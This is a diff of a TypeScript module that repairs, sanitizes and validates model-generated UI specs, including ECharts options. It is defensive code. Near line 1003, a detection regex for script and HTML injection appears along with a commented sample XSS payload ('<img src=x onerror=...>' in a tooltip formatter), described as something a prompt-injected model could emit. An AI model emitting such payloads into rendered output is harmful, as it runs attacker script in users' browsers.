+ ...opt('preset', enu(v.preset, ECHART_PRESETS)),
556
+ ...opt('data', data),
557
+ ...opt('series', series),
558
+ ...opt('option', option),
559
+ }
560
+ }
561
+ default:
562
+ // Plugin-registered custom node types are opaque to the guard: pass
563
+ // through unchanged (the renderer's default branch resolves them).
564
+ return value as GenuiNode
565
+ }
566
+ }
567
+
568
+ /* ---------------- per-type sub-repairers ---------------- */
569
+
570
+ function repairStrings(v: unknown, cap: number, strCap: number): string[] | undefined {
571
+ if (!Array.isArray(v)) return undefined
572
+ const out: string[] = []
573
+ for (const item of v) {
574
+ if (out.length >= cap) break
575
+ if (typeof item === 'string') {
576
+ out.push(item.slice(0, strCap))
577
+ } else if (item !== null && typeof item === 'object') {
578
+ // 兼容模型误用对象数组(如把 ask_user_question 的 {label,description}
579
+ // 格式错用到 select/radio 的 options)——提取可读字段,而不是静默丢
580
+ // 掉整个选项,让用户看到「选项没列举出来」的空列表。
581
+ const o = item as Record<string, unknown>
582
+ const s = typeof o.label === 'string' ? o.label
583
+ : typeof o.value === 'string' ? o.value
584
+ : typeof o.title === 'string' ? o.title
585
+ : JSON.stringify(item)
586
+ out.push(s.slice(0, strCap))
587
+ }
588
+ }
589
+ return out
590
+ }
591
+
592
+ function repairListItems(
593
+ v: unknown,
594
+ cap: number,
595
+ ctx: RepairCtx,
596
+ depth: number,
597
+ ): GenuiList['items'] | undefined {
598
+ if (!Array.isArray(v)) return undefined
599
+ const out: GenuiList['items'] = []
600
+ for (const item of v) {
601
+ if (out.length >= cap) break
602
+ if (typeof item === 'string') {
603
+ out.push(item.slice(0, GENUI_LIMITS.maxString))
604
+ continue
605
+ }
606
+ const o = obj(item)
607
+ const title = o === undefined ? undefined : str(o.title, GENUI_LIMITS.maxString)
608
+ if (title !== undefined) {
609
+ out.push({ title, ...opt('desc', o === undefined ? undefined : str(o.desc, GENUI_LIMITS.maxString)) })
610
+ continue
611
+ }
612
+ if (o !== undefined && typeof o.type === 'string') {
613
+ // Typed children are GenuiNodes: charge them against the shared node
614
+ // budget (module header promise — exhausted budget elides remaining
615
+ // siblings). Strings and {title,desc} objects are list-item shapes,
616
+ // not nodes, so they never consume budget.
617
+ if (ctx.remaining <= 0) break
618
+ ctx.remaining -= 1
619
+ const node = repairNode(o, ctx, depth)
620
+ if (node !== null) out.push(node)
621
+ }
622
+ }
623
+ return out
624
+ }
625
+
626
+ function repairRows(v: unknown, rowCap: number, colCap: number): Array<Array<string | number>> | undefined {
627
+ if (!Array.isArray(v)) return undefined
628
+ const out: Array<Array<string | number>> = []
629
+ for (const row of v) {
630
+ if (out.length >= rowCap) break
631
+ if (!Array.isArray(row)) continue
632
+ const cells: Array<string | number> = []
633
+ for (const cell of row) {
634
+ if (cells.length >= colCap) break
635
+ if (typeof cell === 'string') cells.push(cell.slice(0, 256))
636
+ else if (typeof cell === 'number' && Number.isFinite(cell)) cells.push(cell)
637
+ }
638
+ if (cells.length > 0) out.push(cells)
639
+ }
640
+ return out
641
+ }
642
+
643
+ function repairChartData(v: unknown, cap: number): Array<{ label: string; value: number; color?: string }> | undefined {
644
+ if (!Array.isArray(v)) return undefined
645
+ const out: Array<{ label: string; value: number; color?: string }> = []
646
+ for (const datum of v) {
647
+ if (out.length >= cap) break
648
+ const o = obj(datum)
649
+ const label = o === undefined ? undefined : str(o.label, 128)
650
+ const value = o === undefined ? undefined : num(o.value, -1e12, 1e12)
651
+ if (label === undefined || value === undefined) continue
652
+ out.push({ label, value, ...opt('color', o === undefined ? undefined : color(o.color)) })
653
+ }
654
+ return out
655
+ }
656
+
657
+ function repairSeries(v: unknown, cap: number, pointCap: number): Array<{ label: string; color?: string; data: Array<{ label: string; value: number; color?: string }> }> | undefined {
658
+ if (!Array.isArray(v)) return undefined
659
+ const out: Array<{ label: string; color?: string; data: Array<{ label: string; value: number; color?: string }> }> = []
660
+ for (const s of v) {
661
+ if (out.length >= cap) break
662
+ const o = obj(s)
663
+ const label = o === undefined ? undefined : str(o.label, 128)
664
+ const data = o === undefined ? undefined : repairChartData(o.data, pointCap)
665
+ if (label === undefined || data === undefined) continue
666
+ out.push({ label, data, ...opt('color', o === undefined ? undefined : color(o.color)) })
667
+ }
668
+ return out
669
+ }
670
+
671
+ function repairTabs(v: unknown, ctx: RepairCtx, depth: number): Array<{ label: string; items: GenuiNode[] }> | undefined {
672
+ if (!Array.isArray(v)) return undefined
673
+ const out: Array<{ label: string; items: GenuiNode[] }> = []
674
+ for (const tab of v) {
675
+ if (out.length >= GENUI_LIMITS.maxTabs) break
676
+ const o = obj(tab)
677
+ const label = o === undefined ? undefined : str(o.label, 128)
678
+ if (label === undefined || o === undefined) continue
679
+ // `content` is accepted as an `items` alias (single component or array) —
680
+ // models routinely emit tabs[].content and losing it empties every tab.
681
+ const rawItems = o.items !== undefined ? o.items
682
+ : o.content !== undefined ? (Array.isArray(o.content) ? o.content : [o.content])
683
+ : undefined
684
+ out.push({ label, items: repairItems(rawItems, ctx, depth + 1) })
685
+ }
686
+ return out
687
+ }
688
+
689
+ /** Header text for an object-shaped table column ({title,key} antd style). */
690
+ function columnHeaderText(c: unknown): string {
691
+ const o = obj(c)
692
+ if (o === undefined) return String(c)
693
+ for (const k of ['title', 'label', 'key', 'dataIndex'] as const) {
694
+ const s = o[k]
695
+ if (typeof s === 'string' && s !== '') return s
696
+ }
697
+ return JSON.stringify(c)
698
+ }
699
+
700
+ /** Row key for an object-shaped column, mirroring columnHeaderText's order. */
701
+ function columnKeyOf(c: unknown): string | undefined {
702
+ const o = obj(c)
703
+ if (o === undefined) return undefined
704
+ for (const k of ['key', 'dataIndex', 'title', 'label'] as const) {
705
+ const s = o[k]
706
+ if (typeof s === 'string' && s !== '') return s
707
+ }
708
+ return undefined
709
+ }
710
+
711
+ /** Cell text for object-array rows: strings/finite numbers pass through,
712
+ * everything else stringifies so the column alignment is preserved
713
+ * (repairRows would drop null/undefined cells and shift the row). */
714
+ function cellText(v: unknown): string | number {
715
+ if (typeof v === 'string') return v
716
+ if (typeof v === 'number' && Number.isFinite(v)) return v
717
+ if (v === null || v === undefined) return ''
718
+ return JSON.stringify(v)
719
+ }
720
+
721
+ function repairPlotSeries(v: unknown, cap: number): GenuiPlot['series'] | undefined {
722
+ if (!Array.isArray(v)) return undefined
723
+ const out: GenuiPlot['series'] = []
724
+ for (const s of v) {
725
+ if (out.length >= cap) break
726
+ const o = obj(s)
727
+ const expr = o === undefined ? undefined : str(o.expr, 512)
728
+ if (expr === undefined || o === undefined) continue
729
+ const params: NonNullable<GenuiPlotSeries['params']> = []
730
+ if (Array.isArray(o.params)) {
731
+ for (const p of o.params) {
732
+ if (params.length >= GENUI_LIMITS.maxPlotParams) break
733
+ const po = obj(p)
734
+ const name = po === undefined ? undefined : str(po.name, 64)
735
+ const value = po === undefined ? undefined : num(po.value, -1e9, 1e9)
736
+ if (name === undefined || value === undefined) continue
737
+ params.push({
738
+ name, value,
739
+ ...opt('min', po === undefined ? undefined : num(po.min, -1e9, 1e9)),
740
+ ...opt('max', po === undefined ? undefined : num(po.max, -1e9, 1e9)),
741
+ ...opt('step', po === undefined ? undefined : num(po.step, 1e-9, 1e9)),
742
+ ...opt('animateTo', po === undefined ? undefined : num(po.animateTo, -1e9, 1e9)),
743
+ ...opt('durationMs', po === undefined ? undefined : num(po.durationMs, 1, 120_000)),
744
+ ...opt('loop', po === undefined ? undefined : po.loop === true ? true : undefined),
745
+ })
746
+ }
747
+ }
748
+ out.push({ expr, ...opt('label', str(o.label, 128)), ...opt('color', color(o.color)), ...opt('kind', enu(o.kind, PLOT_KINDS)), ...opt('params', params.length > 0 ? params : undefined) })
749
+ }
750
+ return out
751
+ }
752
+
753
+ function repairSteps(v: unknown): Array<{ title: string; desc?: string }> | undefined {
754
+ if (!Array.isArray(v)) return undefined
755
+ const out: Array<{ title: string; desc?: string }> = []
756
+ for (const s of v) {
757
+ if (out.length >= GENUI_LIMITS.maxSteps) break
758
+ const o = obj(s)
759
+ const title = o === undefined ? undefined : str(o.title, 256)
760
+ if (title === undefined) continue
761
+ out.push({ title, ...opt('desc', o === undefined ? undefined : str(o.desc, GENUI_LIMITS.maxString)) })
762
+ }
763
+ return out
764
+ }
765
+
766
+ function repairPairs(v: unknown, cap: number): Array<{ key: string; value: string }> | undefined {
767
+ if (!Array.isArray(v)) return undefined
768
+ const out: Array<{ key: string; value: string }> = []
769
+ for (const p of v) {
770
+ if (out.length >= cap) break
771
+ const o = obj(p)
772
+ const key = o === undefined ? undefined : str(o.key, 256)
773
+ const value = o === undefined ? undefined : str(o.value, GENUI_LIMITS.maxString)
774
+ if (key === undefined || value === undefined) continue
775
+ out.push({ key, value })
776
+ }
777
+ return out
778
+ }
779
+
780
+ function repairDiffs(v: unknown): Array<{ path: string; oldText: string | null; newText: string }> | undefined {
781
+ if (!Array.isArray(v)) return undefined
782
+ const out: Array<{ path: string; oldText: string | null; newText: string }> = []
783
+ for (const d of v) {
784
+ if (out.length >= 24) break
785
+ const o = obj(d)
786
+ const path = o === undefined ? undefined : str(o.path, 1024)
787
+ const newText = o === undefined ? undefined : str(o.newText, 20_000)
788
+ if (path === undefined || newText === undefined) continue
789
+ const old = o === undefined ? undefined : o.oldText
790
+ out.push({ path, newText, oldText: old === null || typeof old !== 'string' ? null : old.slice(0, 20_000) })
791
+ }
792
+ return out
793
+ }
794
+
795
+ function repairAccordion(v: unknown, ctx: RepairCtx, depth: number): Array<{ title: string; items: GenuiNode[] }> | undefined {
796
+ if (!Array.isArray(v)) return undefined
797
+ const out: Array<{ title: string; items: GenuiNode[] }> = []
798
+ for (const item of v) {
799
+ if (out.length >= GENUI_LIMITS.maxAccordionItems) break
800
+ const o = obj(item)
801
+ const title = o === undefined ? undefined : str(o.title, 256)
802
+ if (title === undefined || o === undefined) continue
803
+ out.push({ title, items: repairItems(o.items, ctx, depth + 1) })
804
+ }
805
+ return out
806
+ }
807
+
808
+ function repairMeshes(v: unknown): GenuiScene3D['meshes'] | undefined {
809
+ if (!Array.isArray(v)) return undefined
810
+ const out: GenuiScene3D['meshes'] = []
811
+ for (const m of v) {
812
+ if (out.length >= GENUI_LIMITS.maxMeshes) break
813
+ const o = obj(m)
814
+ const shape = o === undefined ? undefined : enu(o.shape, MESH_SHAPES)
815
+ if (shape === undefined) continue
816
+ const scale = o === undefined ? undefined : num(o.scale, -1e6, 1e6) ?? tuple3(o.scale)
817
+ const size = o === undefined ? undefined : num(o.size, -1e6, 1e6) ?? tuple3(o.size)
818
+ out.push({
819
+ shape,
820
+ ...opt('color', o === undefined ? undefined : color(o.color)),
821
+ ...opt('position', o === undefined ? undefined : tuple3(o.position)),
822
+ ...opt('rotation', o === undefined ? undefined : tuple3(o.rotation)),
823
+ ...opt('scale', scale),
824
+ ...opt('size', size),
825
+ })
826
+ }
827
+ return out
828
+ }
829
+
830
+ function tuple3(v: unknown): [number, number, number] | undefined {
831
+ if (!Array.isArray(v) || v.length !== 3) return undefined
832
+ const [a, b, c] = v
833
+ if (typeof a !== 'number' || !Number.isFinite(a) || typeof b !== 'number' || !Number.isFinite(b)
834
+ || typeof c !== 'number' || !Number.isFinite(c)) return undefined
835
+ return [Math.min(1e6, Math.max(-1e6, a)), Math.min(1e6, Math.max(-1e6, b)), Math.min(1e6, Math.max(-1e6, c))]
836
+ }
837
+
838
+ /* ---------------- diagram (editorial) sub-repairers ---------------- */
839
+
840
+ /** Clamp a coordinate/size to the 4px editorial grid. */
841
+ function grid4(v: number, min: number, max: number): number {
842
+ return Math.min(max, Math.max(min, Math.round(v / 4) * 4))
843
+ }
844
+
845
+ function repairDiagramNodes(v: unknown): GenuiDiagram['nodes'] | undefined {
846
+ if (!Array.isArray(v)) return undefined
847
+ const out: GenuiDiagram['nodes'] = []
848
+ const seen = new Set<string>()
849
+ for (const raw of v) {
850
+ if (out.length >= GENUI_LIMITS.maxDiagramNodes) break
851
+ const o = obj(raw)
852
+ if (o === undefined) continue
853
+ const id = str(o.id, 128)
854
+ const label = str(o.label, GENUI_LIMITS.maxString)
855
+ if (id === undefined || label === undefined) continue
856
+ if (seen.has(id)) continue
857
+ seen.add(id)
858
+ const nodeType = enu(o.type, DIAGRAM_NODE_TYPES)
859
+ // Coordinate fields are clamped to a sane canvas and rounded to 4px.
860
+ const x = o.x === undefined ? undefined : grid4(num(o.x, -1e6, 1e6) ?? 0, 0, 1e6)
861
+ const y = o.y === undefined ? undefined : grid4(num(o.y, -1e6, 1e6) ?? 0, 0, 1e6)
862
+ const w = o.w === undefined ? undefined : grid4(num(o.w, -1e6, 1e6) ?? 96, 40, 2000)
863
+ const h = o.h === undefined ? undefined : grid4(num(o.h, -1e6, 1e6) ?? 48, 24, 1200)
864
+ out.push({
865
+ id, label,
866
+ ...opt('sub', str(o.sub, 256)),
867
+ ...opt('type', nodeType),
868
+ ...opt('x', x),
869
+ ...opt('y', y),
870
+ ...opt('w', w),
871
+ ...opt('h', h),
872
+ ...opt('tag', str(o.tag, 32)),
873
+ })
874
+ }
875
+ return out
876
+ }
877
+
878
+ function repairDiagramEdges(v: unknown): GenuiDiagram['edges'] | undefined {
879
+ if (v === undefined) return []
880
+ if (!Array.isArray(v)) return undefined
881
+ const out: GenuiDiagram['edges'] = []
882
+ for (const raw of v) {
883
+ if (out.length >= GENUI_LIMITS.maxDiagramEdges) break
884
+ const o = obj(raw)
885
+ if (o === undefined) continue
886
+ const from = str(o.from, 128)
887
+ const to = str(o.to, 128)
888
+ if (from === undefined || to === undefined) continue
889
+ out.push({
890
+ from, to,
891
+ ...opt('label', str(o.label, GENUI_LIMITS.maxDiagramLabel)),
892
+ ...opt('kind', enu(o.kind, DIAGRAM_EDGE_KINDS)),
893
+ ...opt('route', enu(o.route, DIAGRAM_ROUTES)),
894
+ })
895
+ }
896
+ return out
897
+ }
898
+
899
+ function repairDiagramTheme(v: unknown): GenuiDiagramTheme | undefined {
900
+ const o = obj(v)
901
+ if (o === undefined) return undefined
902
+ const out: GenuiDiagramTheme = {}
903
+ for (const key of ['paper', 'paper-2', 'ink', 'muted', 'soft', 'rule', 'accent', 'accent-tint', 'link'] as const) {
904
+ const c = color(o[key])
905
+ if (c !== undefined) out[key] = c
906
+ }
907
+ return Object.keys(out).length === 0 ? undefined : out
908
+ }
909
+
910
+ function repairDiagramZones(v: unknown): GenuiDiagram['zones'] | undefined {
911
+ if (v === undefined) return []
912
+ if (!Array.isArray(v)) return undefined
913
+ const out: GenuiDiagram['zones'] = []
914
+ for (const raw of v) {
915
+ if (out.length >= GENUI_LIMITS.maxDiagramZones) break
916
+ const o = obj(raw)
917
+ if (o === undefined) continue
918
+ const label = str(o.label, 64)
919
+ if (label === undefined) continue
920
+ out.push({
921
+ label,
922
+ ...opt('x', o.x === undefined ? undefined : grid4(num(o.x, -1e6, 1e6) ?? 0, 0, 1e6)),
923
+ ...opt('y', o.y === undefined ? undefined : grid4(num(o.y, -1e6, 1e6) ?? 0, 0, 1e6)),
924
+ ...opt('w', o.w === undefined ? undefined : grid4(num(o.w, -1e6, 1e6) ?? 100, 40, 2000)),
925
+ ...opt('h', o.h === undefined ? undefined : grid4(num(o.h, -1e6, 1e6) ?? 100, 40, 1200)),
926
+ })
927
+ }
928
+ return out
929
+ }
930
+
931
+ function repairDiagram(v: unknown): GenuiDiagram | null {
932
+ const o = obj(v)
933
+ if (o === undefined) return null
934
+ const kind = enu(o.kind, DIAGRAM_KINDS as unknown as readonly GenuiDiagramKind[])
935
+ if (kind === undefined) return null
936
+ const nodes = repairDiagramNodes(o.nodes)
937
+ if (nodes === undefined) return null
938
+ const edges = repairDiagramEdges(o.edges)
939
+ if (edges === undefined) return null
940
+ const zones = repairDiagramZones(o.zones)
941
+ if (zones === undefined) return null
942
+ return {
943
+ type: 'diagram', kind, nodes, edges, zones,
944
+ ...opt('variant', enu(o.variant, DIAGRAM_VARIANTS)),
945
+ ...opt('title', str(o.title, 256)),
946
+ ...opt('theme', repairDiagramTheme(o.theme)),
947
+ }
948
+ }
949
+
950
+ function repairTimeline(v: unknown, cap: number): Array<{ title: string; desc?: string; time?: string }> | undefined {
951
+ if (!Array.isArray(v)) return undefined
952
+ const out: Array<{ title: string; desc?: string; time?: string }> = []
953
+ for (const item of v) {
954
+ if (out.length >= cap) break
955
+ const o = obj(item)
956
+ const title = o === undefined ? undefined : str(o.title, 256)
957
+ if (title === undefined) continue
958
+ out.push({
959
+ title,
960
+ ...opt('desc', o === undefined ? undefined : str(o.desc, GENUI_LIMITS.maxString)),
961
+ ...opt('time', o === undefined ? undefined : str(o.time, 128)),
962
+ })
963
+ }
964
+ return out
965
+ }
966
+
967
+ function repairTree(v: unknown, cap: number): GenuiFileTreeNode[] | undefined {
968
+ // Recursion is bounded by GENUI_LIMITS.maxTreeDepth (see the inner walk).
969
+ return walkTree(v, cap, GENUI_LIMITS.maxTreeDepth)
970
+ }
971
+
972
+ function walkTree(v: unknown, cap: number, depthLeft: number): GenuiFileTreeNode[] | undefined {
973
+ if (!Array.isArray(v)) return undefined
974
+ const out: GenuiFileTreeNode[] = []
975
+ for (const item of v) {
976
+ if (out.length >= cap) break
977
+ const o = obj(item)
978
+ const name = o === undefined ? undefined : str(o.name, 256)
979
+ if (name === undefined) continue
980
+ const children = o !== undefined && depthLeft > 0 && Array.isArray(o.children) ? walkTree(o.children, cap, depthLeft - 1) : undefined
981
+ out.push({ name, ...opt('type', o === undefined ? undefined : enu(o.type, FILE_TYPES)), ...opt('children', children) })
982
+ }
983
+ return out
984
+ }
985
+
986
+ function repairQuizOptions(v: unknown): Array<{ label: string; correct?: boolean; feedback?: string }> | undefined {
987
+ if (!Array.isArray(v)) return undefined
988
+ const out: Array<{ label: string; correct?: boolean; feedback?: string }> = []
989
+ for (const optItem of v) {
990
+ if (out.length >= GENUI_LIMITS.maxQuizOptions) break
991
+ const o = obj(optItem)
992
+ const label = o === undefined ? undefined : str(o.label, 512)
993
+ if (label === undefined) continue
994
+ out.push({
995
+ label,
996
+ ...opt('correct', o === undefined ? undefined : o.correct === true ? true : undefined),
997
+ ...opt('feedback', o === undefined ? undefined : str(o.feedback, GENUI_LIMITS.maxString)),
998
+ })
999
+ }
1000
+ return out
1001
+ }
1002
+
1003
+ /**
1004
+ * Patterns that indicate HTML/script injection in a string field. ECharts
1005
+ * default `tooltip.renderMode: 'html'` writes tooltip content via
1006
+ * `innerHTML`; even with renderMode forced to 'richText' (see below),
1007
+ * filtering these patterns is defense-in-depth — a model (or a
1008
+ * prompt-injected model) should never emit `<script>`, `onerror=`, or
1009
+ * `javascript:` inside a chart option string.
1010
+ */
1011
+ const ECHART_HTML_DANGER_RE = /<(?:script|img|svg|iframe|video|audio|object|embed|source)\b|on[a-z]+\s*=|javascript:/i
1012
+
1013
+ /**
1014
+ * Mutable budget counter for the sanitize walk — passed by reference so
1015
+ * every recursion shares one pool.
1016
+ */
1017
+ interface EChartSanitizeBudget { count: number }
1018
+
1019
+ /**
1020
+ * Sanitize an ECharts option object: depth-bounded, budget-bounded
1021
+ * pass-through that strips dangerous values (functions, `url()` in styles,
1022
+ * HTML/script injection patterns in strings) but preserves the object shape
1023
+ * ECharts needs. Scalars are KEPT: ECharts options are full of them,
1024
+ * including inside `data` arrays (`data: [120, 150, 180]`,
1025
+ * `xAxis.data: ['1月', '2月']`). Previously a scalar hit the plain-object
1026
+ * gate below and returned undefined, so every primitive-valued array was
1027
+ * filtered to empty and dropped — a chart with a full `option` rendered
1028
+ * with empty series (blank canvas). This is a safety walk, not an ECharts
1029
+ * semantic validator.
1030
+ *
1031
+ * Security: `tooltip.renderMode` is forced to `'richText'` on every tooltip
1032
+ * object. ECharts' default `'html'` mode writes tooltip content via
1033
+ * `innerHTML`, which is an XSS vector when the option originates from model
1034
+ * output — a prompt-injected model could emit
1035
+ * `{"tooltip":{"formatter":"<img src=x onerror=...>"}}` and execute
1036
+ * arbitrary script. `richText` renders as text, never touching innerHTML.
1037
+ */
1038
+ function sanitizeEChartOption(v: unknown, depth: number, budget: EChartSanitizeBudget): unknown {
1039
+ if (budget.count <= 0) return undefined
1040
+ budget.count -= 1
1041
+ if (depth > GENUI_LIMITS.maxEChartOptionDepth) return undefined
1042
+ // Scalars pass through: numbers/strings/booleans/null are legal ECharts
1043
+ // values both as object fields and as array elements.
1044
+ if (typeof v === 'string') {
1045
+ const s = v.slice(0, GENUI_LIMITS.maxString)
1046
+ // Reject strings containing HTML/script injection patterns or CSS url()
1047
+ // (exfiltration channel). Preserves legitimate ECharts string values
1048
+ // (labels, plain-text formatter templates, etc.).
1049
+ if (s.toLowerCase().includes('url(') || ECHART_HTML_DANGER_RE.test(s)) return undefined
1050
+ return s
1051
+ }
1052
+ if (typeof v === 'number' && Number.isFinite(v)) return v
1053
+ if (typeof v === 'boolean') return v
1054
+ if (v === null) return null
1055
+ if (Array.isArray(v)) {
1056
+ const cap = Math.min(v.length, GENUI_LIMITS.maxEChartArrayLen)
1057
+ const arr: unknown[] = []
1058
+ for (let i = 0; i < cap; i++) {
1059
+ const s = sanitizeEChartOption(v[i], depth + 1, budget)
1060
+ if (s !== undefined) arr.push(s)
1061
+ }
1062
+ return arr.length > 0 ? arr : undefined
1063
+ }
1064
+ const o = obj(v)
1065
+ if (o === undefined) return undefined
1066
+ const out: Record<string, unknown> = {}
1067
+ for (const [key, val] of Object.entries(o)) {
1068
+ const s = sanitizeEChartOption(val, depth + 1, budget)
1069
+ if (s === undefined) continue
1070
+ // Force tooltip.renderMode: 'richText' to prevent ECharts from writing
1071
+ // tooltip content via innerHTML (the default 'html' mode is an XSS
1072
+ // vector when the option comes from model output).
1073
+ if (key === 'tooltip' && typeof s === 'object' && s !== null && !Array.isArray(s)) {
1074
+ (s as Record<string, unknown>).renderMode = 'richText'
1075
+ }
1076
+ out[key] = s
1077
+ }
1078
+ return Object.keys(out).length > 0 ? out : undefined
1079
+ }
1080
+
1081
+ /**
1082
+ * Deterministically repair a raw spec value into a renderable GenuiSpec.
1083
+ * Returns null only when the root is not an object with an `items` array
1084
+ * (a bare component root is wrapped into a col first — the documented fence
1085
+ * vocabulary allows single-component bodies); every other defect is healed by
1086
+ * dropping/clamping/truncating. Idempotent: repairing a repaired spec is a
1087
+ * no-op.
1088
+ */
1089
+ export function repairGenuiSpec(value: unknown): GenuiSpec | null {
1090
+ const v = obj(value)
1091
+ if (v === undefined) return null
1092
+ if (!Array.isArray(v.items)) {
1093
+ const wrapped = wrapSingleComponentRoot(value)
1094
+ if (wrapped === null) return null
1095
+ return repairGenuiSpec(wrapped)
1096
+ }
1097
+ const ctx: RepairCtx = { remaining: GENUI_LIMITS.maxNodes }
1098
+ return {
1099
+ ...opt('title', str(v.title, GENUI_LIMITS.maxString)),
1100
+ ...opt('gap', num(v.gap, 0, 96)),
1101
+ ...opt('panel', v.panel === true ? true : undefined),
1102
+ ...opt('append', v.append === true ? true : undefined),
1103
+ items: repairItems(v.items, ctx, 0),
1104
+ }
1105
+ }
1106
+
1107
+ /* ---------------- validation ---------------- */
1108
+
1109
+ /**
1110
+ * Count the nodes of a spec tree (every item, descending into tabs /
1111
+ * accordion / file-tree / list containers — the same descent
1112
+ * `validateGenuiSpec` walks). Shared by the panel fold (node-budget gate)
1113
+ * and validation, so the panel never runs a second, divergent traversal.
1114
+ * `cap` bounds the walk for hostile inputs; the panel passes
1115
+ * `PANEL_LIMITS.maxNodes + 1` to detect overflow without counting the whole
1116
+ * tree.
1117
+ */
1118
+ export function countGenuiNodes(value: unknown, cap = Number.POSITIVE_INFINITY): number {
1119
+ let count = 0
1120
+ const walk = (list: unknown): void => {
1121
+ if (!Array.isArray(list)) return
1122
+ for (const item of list) {
1123
+ if (count >= cap) return
1124
+ count += 1
1125
+ const v = obj(item)
1126
+ if (v === undefined) continue
1127
+ if (v.type === 'tabs' && Array.isArray(v.tabs)) {
1128
+ for (const t of v.tabs) {
1129
+ if (count >= cap) return
1130
+ const to = obj(t)
1131
+ if (to !== undefined) walk(to.items)
1132
+ }
1133
+ } else if (v.type === 'accordion' && Array.isArray(v.items)) {
1134
+ for (const it of v.items) {
1135
+ if (count >= cap) return
1136
+ const io = obj(it)
1137
+ if (io !== undefined) walk(io.items)
1138
+ }
1139
+ } else if ((v.type === 'row' || v.type === 'col' || v.type === 'grid' || v.type === 'card') && Array.isArray(v.items)) {
1140
+ // Layout containers hold real children; skipping them undercounted
1141
+ // the tree and hid silent drops from validate_dsh_ui (issue #42).
1142
+ walk(v.items)
1143
+ } else if (v.type === 'file-tree' && Array.isArray(v.items)) {
1144
+ walk(v.items)
1145
+ } else if (v.type === 'list' && Array.isArray(v.items)) {
1146
+ // Typed list children are nodes too (repair charges them against the
1147
+ // budget); strings and {title,desc} shapes are skipped.
1148
+ for (const li of v.items) {
1149
+ if (count >= cap) return
1150
+ const lo = obj(li)
1151
+ if (lo !== undefined && typeof lo.type === 'string') walk([lo])
1152
+ }
1153
+ }
1154
+ }
1155
+ }
1156
+ const root = obj(value)
1157
+ walk(root === undefined ? [] : root.items)
1158
+ return count
1159
+ }
1160
+
1161
+ /** Every white-listed node `type`. Keep in sync with the repairNode switch —
1162
+ * validate_dsh_ui uses it to tell declared GenUI nodes apart from unrelated
1163
+ * `"type"` strings (e.g. file-tree's `{type:'file'}` children). */
1164
+ export const GENUI_NODE_TYPES: ReadonlySet<string> = new Set([
1165
+ 'accordion', 'audio', 'avatar', 'badge', 'breadcrumb', 'button', 'callout', 'card', 'chart',
1166
+ 'checkbox', 'code', 'col', 'copy', 'diff', 'divider', 'file-tree', 'grid', 'input', 'json',
1167
+ 'keyvalue', 'link', 'list', 'mermaid', 'plot', 'progress', 'quiz', 'radio', 'row', 'scene3d',
1168
+ 'select', 'slider', 'spacer', 'stat', 'steps', 'submit', 'switch', 'table', 'tabs', 'text',
1169
+ 'textarea', 'timeline', 'video', 'echart', 'diagram',
1170
+ ])
1171
+
1172
+ /**
1173
+ * Count DECLARED nodes in a raw spec tree: objects whose `type` is a
1174
+ * white-listed string, descending the same containers `countGenuiNodes`
1175
+ * walks. `validate_dsh_ui` compares this with the repaired count to surface
1176
+ * children the repair silently dropped (blank-render class of bugs, issue
1177
+ * #42) instead of reporting a green check on a half-empty tree.
1178
+ */
1179
+ export function countDeclaredGenuiNodes(value: unknown, cap = Number.POSITIVE_INFINITY): number {
1180
+ let count = 0
1181
+ const declared = (candidate: unknown): boolean => {
1182
+ const o = obj(candidate)
1183
+ return o !== undefined && typeof o.type === 'string' && GENUI_NODE_TYPES.has(o.type)
1184
+ }
1185
+ const walk = (list: unknown): void => {
1186
+ if (!Array.isArray(list)) return
1187
+ for (const item of list) {
1188
+ if (count >= cap) return
1189
+ if (!declared(item)) continue
1190
+ count += 1
1191
+ const v = obj(item)
1192
+ if (v === undefined) continue
1193
+ if (v.type === 'tabs' && Array.isArray(v.tabs)) {
1194
+ for (const t of v.tabs) walkItemsOf(t)
1195
+ } else if (v.type === 'accordion' && Array.isArray(v.items)) {
1196
+ for (const it of v.items) walkItemsOf(it)
1197
+ } else if ((v.type === 'row' || v.type === 'col' || v.type === 'grid' || v.type === 'card') && Array.isArray(v.items)) {
1198
+ walk(v.items)
1199
+ } else if (v.type === 'list' && Array.isArray(v.items)) {
1200
+ for (const li of v.items) {
1201
+ if (declared(li)) walk([li])
1202
+ }
1203
+ }
1204
+ }
1205
+ }
1206
+ const walkItemsOf = (holder: unknown): void => {
1207
+ const o = obj(holder)
1208
+ if (o === undefined) return
1209
+ const items = o.items !== undefined ? o.items : o.content
1210
+ if (Array.isArray(items)) walk(items)
1211
+ else if (declared(items)) walk([items])
1212
+ }
1213
+ const root = obj(value)
1214
+ if (root === undefined) return count
1215
+ // Single-component root (no items array): the root itself is the declared node.
1216
+ if (!Array.isArray(root.items) && declared(value)) walk([value])
1217
+ else walk(root.items)
1218
+ return count
1219
+ }
1220
+
1221
+ /**
1222
+ * Validate a raw spec value against the white list and limits, collecting
1223
+ * human-readable problems. Unlike repair this never mutates: it is a
1224
+ * diagnostic for tests and tooling. Unknown `type`s are reported (a plugin
1225
+ * custom type is valid only when a renderer is registered — the guard cannot
1226
+ * know, so it flags them as warnings).
1227
+ */
1228
+ export function validateGenuiSpec(value: unknown): GenuiValidation {
1229
+ const errors: string[] = []
1230
+ const v = obj(value)
1231
+ if (v === undefined) return { ok: false, errors: ['spec root must be an object'] }
1232
+ if (!Array.isArray(v.items)) {
1233
+ // Single-component root: validate through the wrapped form so the tool
1234
+ // agrees with the renderer about what is a valid fence body.
1235
+ const wrapped = wrapSingleComponentRoot(value)
1236
+ if (wrapped !== null) return validateGenuiSpec(wrapped)
1237
+ return { ok: false, errors: ['spec.items must be an array'] }
1238
+ }
1239
+ if (v.title !== undefined && typeof v.title !== 'string') errors.push('spec.title must be a string')
1240
+ if (v.gap !== undefined && (typeof v.gap !== 'number' || !Number.isFinite(v.gap))) errors.push('spec.gap must be a finite number')
1241
+ let count = 0
1242
+ let capped = false
1243
+ const walk = (list: unknown, depth: number, path: string): void => {
1244
+ if (capped) return
1245
+ if (!Array.isArray(list)) {
1246
+ errors.push(`${path} must be an array`)
1247
+ return
1248
+ }
1249
+ for (let i = 0; i < list.length; i++) {
1250
+ if (capped || count >= GENUI_LIMITS.maxNodes) {
1251
+ if (!capped) {
1252
+ errors.push(`spec exceeds ${GENUI_LIMITS.maxNodes} nodes; tail elided`)
1253
+ capped = true
1254
+ }
1255
+ return
1256
+ }
1257
+ count += 1
1258
+ const at = `${path}[${i}]`
1259
+ validateNode(list[i], depth, at, errors, walk)
1260
+ }
1261
+ }
1262
+ walk(v.items, 0, 'items')
1263
+ return { ok: errors.length === 0, errors }
1264
+ }
1265
+
1266
+ type Walker = (list: unknown, depth: number, path: string) => void
1267
+
1268
